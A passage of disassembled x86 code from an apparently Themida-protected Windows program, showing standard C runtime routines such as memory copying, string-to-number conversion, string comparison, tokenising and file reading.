[ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418458: ; CODE XREF: sub_4182C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41848C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418480: ; CODE XREF: sub_4182C0+1B1j ; sub_4182C0+208j ... neg ecx jmp off_418550[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41848C: ; CODE XREF: sub_4182C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4184A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4184A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4184A4: ; CODE XREF: sub_4182C0+1D6j ; DATA XREF: sub_4182C0+1DDr jmp off_4185A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4184B7+1 ; --------------------------------------------------------------------------- fadd dword ptr [ecx+eax*2+41850000h] loc_4184B7: ; DATA XREF: sub_4182C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418554 dd offset loc_41855C dd offset loc_418564 dd offset loc_41856C dd offset loc_418574 dd offset loc_41857C dd offset loc_418584 off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r ; --------------------------------------------------------------------------- loc_418554: ; DATA XREF: sub_4182C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41855C: ; DATA XREF: sub_4182C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418564: ; DATA XREF: sub_4182C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41856C: ; DATA XREF: sub_4182C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418574: ; DATA XREF: sub_4182C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41857C: ; DATA XREF: sub_4182C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418584: ; DATA XREF: sub_4182C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418597: ; CODE XREF: sub_4182C0+1C2j ; DATA XREF: sub_4182C0:off_418550o jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r ; sub_4182C0:loc_4184A4r ... dd offset loc_4185B8 dd offset loc_4185C8 dd offset loc_4185DC ; --------------------------------------------------------------------------- loc_4185B0: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185B8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185C8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185DC: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= sub_4185F5 proc near ; CODE XREF: sub_40473F+34p ; sub_40473F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_4185F5 endp ; =============== S U B R O U T I N E ======================================= sub_418603 proc near ; CODE XREF: sub_418670+4p arg_0 = dword ptr 4 push esi push dword_48B69C call sub_41D5A8 mov edx, dword_48B69C pop ecx mov ecx, dword_48B698 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418662 push edx call sub_41D5A8 add eax, 10h push eax push dword_48B69C call sub_41944F add esp, 0Ch test eax, eax jnz short loc_418645 retn ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_418603+3Fj mov ecx, dword_48B698 sub ecx, dword_48B69C mov dword_48B69C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_48B698, ecx loc_418662: ; CODE XREF: sub_418603+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_48B698, 4 retn sub_418603 endp ; =============== S U B R O U T I N E ======================================= sub_418670 proc near ; CODE XREF: sub_40482C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418603 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418670 endp ; =============== S U B R O U T I N E ======================================= sub_418682 proc near ; DATA XREF: ___:00426018o push 80h call sub_417B89 test eax, eax pop ecx mov dword_48B69C, eax jnz short loc_4186A3 push 18h call sub_419CDA mov eax, dword_48B69C pop ecx loc_4186A3: ; CODE XREF: sub_418682+12j and dword ptr [eax], 0 mov eax, dword_48B69C mov dword_48B698, eax retn sub_418682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186B1 proc near ; CODE XREF: ___:00404AFFp ; sub_4053D5+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2610000h lea eax, [ebp+var_20] push eax nop call near ptr 27F0000h mov ax, [ebp+var_16] cmp ax, word_48A00A jnz short loc_418716 mov ax, [ebp+var_18] cmp ax, word_48A008 jnz short loc_418716 mov ax, [ebp+var_1A] cmp ax, word_48A006 jnz short loc_418716 mov ax, [ebp+var_1E] cmp ax, word_48A002 jnz short loc_418716 mov ax, [ebp+var_20] cmp ax, word_48A000 jnz short loc_418716 mov eax, dword_489FF8 jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418716: ; CODE XREF: sub_4186B1+28j ; sub_4186B1+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 27E0000h cmp eax, 0FFFFFFFFh jz short loc_418743 cmp eax, 2 jnz short loc_41873F cmp [ebp+var_32], 0 jz short loc_41873F cmp [ebp+var_24], 0 jz short loc_41873F push 1 pop eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41873F: ; CODE XREF: sub_4186B1+7Aj ; sub_4186B1+81j ... xor eax, eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: sub_4186B1+75j or eax, 0FFFFFFFFh loc_418746: ; CODE XREF: sub_4186B1+8Cj ; sub_4186B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_48A000 movsd movsd movsd movsd pop edi mov dword_489FF8, eax pop esi loc_41875B: ; CODE XREF: sub_4186B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax loc_418766: ; DATA XREF: Themida_:005113EFo movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D609 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41878B mov [ecx], eax locret_41878B: ; CODE XREF: sub_4186B1+D6j leave retn sub_4186B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418790 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_48A0A0 cmp dword ptr [eax+8], 0 jnz short loc_4187E3 mov al, 0FFh mov edi, edi loc_4187AC: ; CODE XREF: sub_418790+28j ; sub_418790+48j or al, al jz short loc_4187DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4187AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4187AC sbb al, al sbb al, 0FFh loc_4187DE: ; CODE XREF: sub_418790+1Ej movsx eax, al jmp short loc_418817 ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: sub_418790+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4187EC: ; CODE XREF: sub_418790+68j ; sub_418790+80j or al, al jz short loc_418817 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4187EC push eax push ebx call sub_419101 mov ebx, eax add esp, 4 call sub_419101 add esp, 4 cmp bl, al jz short loc_4187EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418817: ; CODE XREF: sub_418790+51j ; sub_418790+5Ej pop ebx pop esi pop edi leave retn sub_418790 endp ; =============== S U B R O U T I N E ======================================= sub_41881C proc near ; CODE XREF: sub_41AB9C+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_41881C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418833 proc near ; CODE XREF: sub_41881C+Ep ; sub_418A3B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41884B: ; CODE XREF: sub_418833+46j cmp dword_4397AC, 1 jle short loc_418863 movzx eax, bl push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_418872 ; --------------------------------------------------------------------------- loc_418863: ; CODE XREF: sub_418833+1Fj mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418872: ; CODE XREF: sub_418833+2Ej test eax, eax jz short loc_41887B mov bl, [esi] inc esi jmp short loc_41884B ; --------------------------------------------------------------------------- loc_41887B: ; CODE XREF: sub_418833+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418889 or [ebp+arg_C], 2 jmp short loc_41888E ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: sub_418833+4Ej cmp bl, 2Bh jnz short loc_418894 loc_41888E: ; CODE XREF: sub_418833+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418894: ; CODE XREF: sub_418833+59j mov eax, [ebp+arg_8] test eax, eax jl loc_418A2B cmp eax, 1 jz loc_418A2B cmp eax, 24h jg loc_418A2B push 10h test eax, eax pop ecx jnz short loc_4188DC cmp bl, 30h jz short loc_4188C6 mov [ebp+arg_8], 0Ah jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_418833+88j mov al, [esi] cmp al, 78h jz short loc_4188D9 cmp al, 58h jz short loc_4188D9 mov [ebp+arg_8], 8 jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418833+97j ; sub_418833+9Bj mov [ebp+arg_8], ecx loc_4188DC: ; CODE XREF: sub_418833+83j cmp [ebp+arg_8], ecx jnz short loc_4188F8 cmp bl, 30h jnz short loc_4188F8 mov al, [esi] cmp al, 78h jz short loc_4188F0 cmp al, 58h jnz short loc_4188F8 loc_4188F0: ; CODE XREF: sub_418833+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4188F8: ; CODE XREF: sub_418833+91j ; sub_418833+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418908: ; CODE XREF: sub_418833+16Cj cmp dword_4397AC, 1 movzx esi, bl jle short loc_418920 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41892B ; --------------------------------------------------------------------------- loc_418920: ; CODE XREF: sub_418833+DFj mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_41892B: ; CODE XREF: sub_418833+EBj test eax, eax jz short loc_418937 movsx ecx, bl sub ecx, 30h jmp short loc_418969 ; --------------------------------------------------------------------------- loc_418937: ; CODE XREF: sub_418833+FAj cmp dword_4397AC, 1 jle short loc_41894B push edi push esi call sub_41A642 pop ecx pop ecx jmp short loc_418956 ; --------------------------------------------------------------------------- loc_41894B: ; CODE XREF: sub_418833+10Bj mov eax, off_4395A0 mov ax, [eax+esi*2] and eax, edi loc_418956: ; CODE XREF: sub_418833+116j test eax, eax jz short loc_4189A4 movsx eax, bl push eax call sub_41D6CB pop ecx mov ecx, eax sub ecx, 37h loc_418969: ; CODE XREF: sub_418833+102j cmp ecx, [ebp+arg_8] jnb short loc_4189A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41898E jnz short loc_418988 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41898E loc_418988: ; CODE XREF: sub_418833+147j or [ebp+arg_C], 4 jmp short loc_418997 ; --------------------------------------------------------------------------- loc_41898E: ; CODE XREF: sub_418833+145j ; sub_418833+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418997: ; CODE XREF: sub_418833+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418908 ; --------------------------------------------------------------------------- loc_4189A4: ; CODE XREF: sub_418833+125j ; sub_418833+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4189C2 test edx, edx jz short loc_4189BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4189BC: ; CODE XREF: sub_418833+181j and [ebp+var_8], 0 jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189C2: ; CODE XREF: sub_418833+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4189E8 test cl, 1 jnz short loc_418A0F and ecx, 2 jz short loc_4189DF cmp [ebp+var_8], 80000000h ja short loc_4189E8 loc_4189DF: ; CODE XREF: sub_418833+1A1j test ecx, ecx jnz short loc_418A0F cmp [ebp+var_8], eax jbe short loc_418A0F loc_4189E8: ; CODE XREF: sub_418833+197j ; sub_418833+1AAj test byte ptr [ebp+arg_C], 1 mov dword_48A014, 22h jz short loc_4189FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_418833+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_418A0F: ; CODE XREF: sub_418833+18Dj ; sub_418833+19Cj ... test edx, edx jz short loc_418A18 mov eax, [ebp+var_4] mov [edx], eax loc_418A18: ; CODE XREF: sub_418833+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418A26 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418A26: ; CODE XREF: sub_418833+1E9j mov eax, [ebp+var_8] jmp short loc_418A36 ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_418833+66j ; sub_418833+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418A34 mov [eax], edi loc_418A34: ; CODE XREF: sub_418833+1FDj xor eax, eax loc_418A36: ; CODE XREF: sub_418833+1F6j pop edi pop esi pop ebx leave retn sub_418833 endp ; =============== S U B R O U T I N E ======================================= sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp ; sub_40EE72+3775p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_418A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A52 proc near ; CODE XREF: sub_4053D5+266p ; sub_4053D5+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_417AB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D797 add esp, 10h leave retn sub_418A52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep ; sub_406C19+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_418AAA xor eax, eax jmp loc_418B53 ; --------------------------------------------------------------------------- loc_418AAA: ; CODE XREF: sub_418A86+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_418ABD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418ABD: ; CODE XREF: sub_418A86+2Dj mov [ebp+arg_C], 1000h jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418A86+C4j mov ecx, [ebp+arg_0] loc_418AC9: ; CODE XREF: sub_418A86+35j ; sub_418A86+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_418AFB mov eax, [esi+4] test eax, eax jz short loc_418AFB cmp ecx, eax mov edi, ecx jb short loc_418AE0 mov edi, eax loc_418AE0: ; CODE XREF: sub_418A86+56j push edi push dword ptr [esi] push ebx call sub_417390 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A86+49j ; sub_418A86+50j cmp ecx, [ebp+arg_C] jb short loc_418B2E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418B11 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418B11: ; CODE XREF: sub_418A86+80j push eax push ebx push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch test eax, eax jz short loc_418B58 cmp eax, 0FFFFFFFFh jz short loc_418B5E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A86+78j push esi call sub_41E248 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418B62 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418B46: ; CODE XREF: sub_418A86+73j ; sub_418A86+A6j cmp [ebp+arg_0], 0 jnz loc_418AC6 mov eax, [ebp+arg_8] loc_418B53: ; CODE XREF: sub_418A86+1Fj ; sub_418A86+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A86+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418B62 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A86+9Fj or dword ptr [esi+0Ch], 20h loc_418B62: ; CODE XREF: sub_418A86+B2j ; sub_418A86+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418B53 sub_418A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p ; sub_4060D0+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418B87: ; CODE XREF: sub_418B6E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418B87 mov edx, [ebp+arg_0] test edx, edx jnz short loc_418BAF mov edx, dword_48A010 loc_418BAF: ; CODE XREF: sub_418B6E+39j ; sub_418B6E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_418BCF test al, al jz short loc_418BCF inc edx jmp short loc_418BAF ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418B6E+58j ; sub_418B6E+5Cj mov ebx, edx loc_418BD1: ; CODE XREF: sub_418B6E+81j mov al, [edx] test al, al jz short loc_418BF5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_418BF1 inc edx jmp short loc_418BD1 ; --------------------------------------------------------------------------- loc_418BF1: ; CODE XREF: sub_418B6E+7Ej and byte ptr [edx], 0 inc edx loc_418BF5: ; CODE XREF: sub_418B6E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_48A010, edx and eax, ebx pop ebx leave retn sub_418B6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_406387+1B6p ; sub_407252+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418C93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418C34 shr ecx, 2 jnz short loc_418CA1 jmp short loc_418C55 ; --------------------------------------------------------------------------- loc_418C34: ; CODE XREF: sub_418C10+1Bj ; sub_418C10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418C62 test al, al jz short loc_418C6A test esi, 3 jnz short loc_418C34 mov ebx, ecx shr ecx, 2 jnz short loc_418CA1 loc_418C50: ; CODE XREF: sub_418C10+8Fj and ebx, 3 jz short loc_418C62 loc_418C55: ; CODE XREF: sub_418C10+22j ; sub_418C10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_418C8E dec ebx jnz short loc_418C55 loc_418C62: ; CODE XREF: sub_418C10+2Bj ; sub_418C10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+2Fj test edi, 3 jz short loc_418C84 loc_418C72: ; CODE XREF: sub_418C10+72j mov [edi], al inc edi dec ecx jz loc_418D06 test edi, 3 jnz short loc_418C72 loc_418C84: ; CODE XREF: sub_418C10+60j mov ebx, ecx shr ecx, 2 jnz short loc_418CF7 loc_418C8B: ; CODE XREF: sub_418C10+7Fj ; sub_418C10+F4j mov [edi], al inc edi loc_418C8E: ; CODE XREF: sub_418C10+4Dj dec ebx jnz short loc_418C8B pop ebx pop esi loc_418C93: ; CODE XREF: sub_418C10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418C99: ; CODE XREF: sub_418C10+A9j ; sub_418C10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418C50 loc_418CA1: ; CODE XREF: sub_418C10+20j ; sub_418C10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418C99 test dl, dl jz short loc_418CEB test dh, dh jz short loc_418CE1 test edx, 0FF0000h jz short loc_418CD7 test edx, 0FF000000h jnz short loc_418C99 mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CD7: ; CODE XREF: sub_418C10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418C10+B1j and edx, 0FFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CEB: ; CODE XREF: sub_418C10+ADj xor edx, edx mov [edi], edx loc_418CEF: ; CODE XREF: sub_418C10+C5j ; sub_418C10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418D01 loc_418CF7: ; CODE XREF: sub_418C10+79j xor eax, eax loc_418CF9: ; CODE XREF: sub_418C10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_418CF9 loc_418D01: ; CODE XREF: sub_418C10+E5j and ebx, 3 jnz short loc_418C8B loc_418D06: ; CODE XREF: sub_418C10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418C10 endp ; =============== S U B R O U T I N E ======================================= sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p ; sub_406C19+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418D8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418D2D cmp edi, 1 jz short loc_418D2D cmp edi, 2 jnz short loc_418D8A loc_418D2D: ; CODE XREF: sub_418D0E+13j ; sub_418D0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418D44 push esi call sub_41E5B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418D44: ; CODE XREF: sub_418D0E+27j push esi call sub_41A7D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418D59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418D6D ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D0E+42j test al, 1 jz short loc_418D6D test al, 8 jz short loc_418D6D test ah, 4 jnz short loc_418D6D mov dword ptr [esi+18h], 200h loc_418D6D: ; CODE XREF: sub_418D0E+49j ; sub_418D0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E517 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418D0E+Bj ; sub_418D0E+1Dj mov dword_48A014, 16h or eax, 0FFFFFFFFh loc_418D97: ; CODE XREF: sub_418D0E+7Aj pop edi pop esi retn sub_418D0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp ; sub_406C19+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418DD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418DCF jz short loc_418DD1 dec ecx dec ecx loc_418DCF: ; CODE XREF: sub_418DA0+29j not ecx loc_418DD1: ; CODE XREF: sub_418DA0+9j ; sub_418DA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp ; sub_407110+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418E94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_418E0A loc_418DFB: ; CODE XREF: sub_418DE0+28j mov al, [edi] inc edi test al, al jz short loc_418E3B test edi, 3 jnz short loc_418DFB loc_418E0A: ; CODE XREF: sub_418DE0+19j ; sub_418DE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418E0A mov eax, [edi-4] test al, al jz short loc_418E48 test ah, ah jz short loc_418E43 test eax, 0FF0000h jz short loc_418E3E test eax, 0FF000000h jnz short loc_418E0A loc_418E3B: ; CODE XREF: sub_418DE0+20j dec edi jmp short 